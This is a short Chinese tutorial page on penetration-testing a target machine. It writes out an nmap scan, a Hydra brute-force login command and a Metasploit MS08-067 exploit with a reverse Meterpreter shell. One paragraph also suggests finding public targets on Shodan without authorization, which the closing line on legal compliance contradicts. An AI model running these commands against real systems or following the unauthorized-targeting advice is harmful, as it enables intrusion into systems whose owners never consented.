📅 最后修改于: 2023-12-03 14:56:27.532000 🧑 作者: Mango
目标机器是指我们要攻击或渗透的计算机系统或网络设备。在安全测试、渗透测试和红队攻击中，经常需要找到目标机器，扫描其端口、漏洞，获取敏感信息、提升权限等操作。
在被授权的安全测试环境中，我们通常可以从客户获得目标机器的 IP 地址、域名等信息。同时，我们也要了解目标机器所在的网络拓扑结构，以便更好地进行扫描和攻击操作。
在没有得到授权的情况下，我们可以使用各种方式寻找公开的目标。常见的方法包括搜索引擎和子域名枚举工具、Shodan 等工具来查找公开的实例，扫描互联网上的常用服务和默认端口等。
经过前面的步骤，我们已经了解了目标机器的 IP 地址、端口等信息。接下来，我们需要对目标机器进行扫描，以发现其开放的服务及漏洞。
通过使用扫描工具，如 Nmap、Masscan 等，我们可以发现目标机器上开放的端口，从而了解其服务。
nmap -sV -p1-1000 192.168.1.1
通过使用漏洞扫描工具，如 Nessus、OpenVAS 等，我们可以对目标机器和开放的服务进行全面的漏洞扫描，并生成漏洞报告。
在完成目标机器的扫描工作之后，我们就可以使用各种攻击技巧对目标机器进行渗透。
对于开放的服务，我们可以使用爆破工具，如 Hydra、Medusa 等，对其进行密码破解，获取账号权限。
hydra -l admin -P password.txt ftp://192.168.1.1
在漏洞扫描中，我们还可能发现目标机器存在漏洞。通过使用漏洞利用工具，如 Metasploit、Exploitdb 等，我们可以对目标机器进行攻击，提升权限，获取更多的敏感信息。
msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.1
set PAYLOAD windows/meterpreter/reverse_tcp
run
作为一名合格的安全测试工程师或红队人员，必须掌握寻找目标机器、对其进行扫描和攻击的技能。同时，也应该遵守相关法律规定，不进行非法攻击和渗透行为。